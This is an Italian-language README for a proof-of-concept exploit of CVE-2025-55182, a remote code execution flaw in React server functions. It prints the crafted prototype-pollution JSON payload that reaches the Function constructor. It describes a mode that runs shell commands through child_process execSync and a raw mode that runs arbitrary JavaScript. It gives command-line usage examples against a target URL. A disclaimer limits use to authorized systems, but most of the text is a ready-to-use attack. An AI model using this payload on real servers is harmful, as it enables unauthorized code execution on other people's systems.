
Questo è uno script POC per CVE-2025-55182 (React SSR RCE)
Questo è un POC solo per scopi educativi e di ricerca sulla sicurezza. Questa vulnerabilità è stata risolta nelle ultime versioni dei pacchetti interessati. Utilizza questo strumento solo su sistemi di tua proprietà o per i quali hai ricevuto esplicita autorizzazione al test. Non mi assumo alcuna responsabilità per eventuali azioni legali intraprese contro di te.
L'exploit crea un oggetto JSON appositamente costruito che abusa della catena dei prototipi di JavaScript:
{
"then": "$1:__proto__:then", // Inquina la catena dei prototipi
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": jsCode, // Codice malevolo iniettato
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
Il POC supporta due modalità:
Modalità Standard (predefinita):
process.mainModule.require("child_process").execSync("YOUR_COMMAND");
Avvolge i comandi shell per l'esecuzione tramite child_process di Node.js.
Modalità Raw (flag --raw):
// Executes arbitrary JavaScript directly
Consente l'esecuzione diretta di codice JavaScript senza il wrapping di comandi shell.
bun run index.ts <command_file> <target_url>
Esempio:
# Crea un file di comando
echo "whoami" > cmd.txt
# Esegui contro l'endpoint vulnerabile
bun run index.ts cmd.txt http://localhost:3000
bun run index.ts --raw <js_file> <target_url>
Esempio:
# Crea il payload JavaScript
echo "require('fs').writeFileSync('/tmp/pwned.txt', 'RCE Success')" > payload.js
# Esegui JavaScript raw
bun run index.ts --raw payload.js http://localhost:3000
<file_path>: Percorso del file contenente il comando o il codice JavaScript<target_url>: URL dell'endpoint della React Server Function--raw: (Opzionale) Esegue JavaScript raw invece dei comandi shellScoperto da: Lachlan Davidson
Divulgato da: The React Team & Meta Security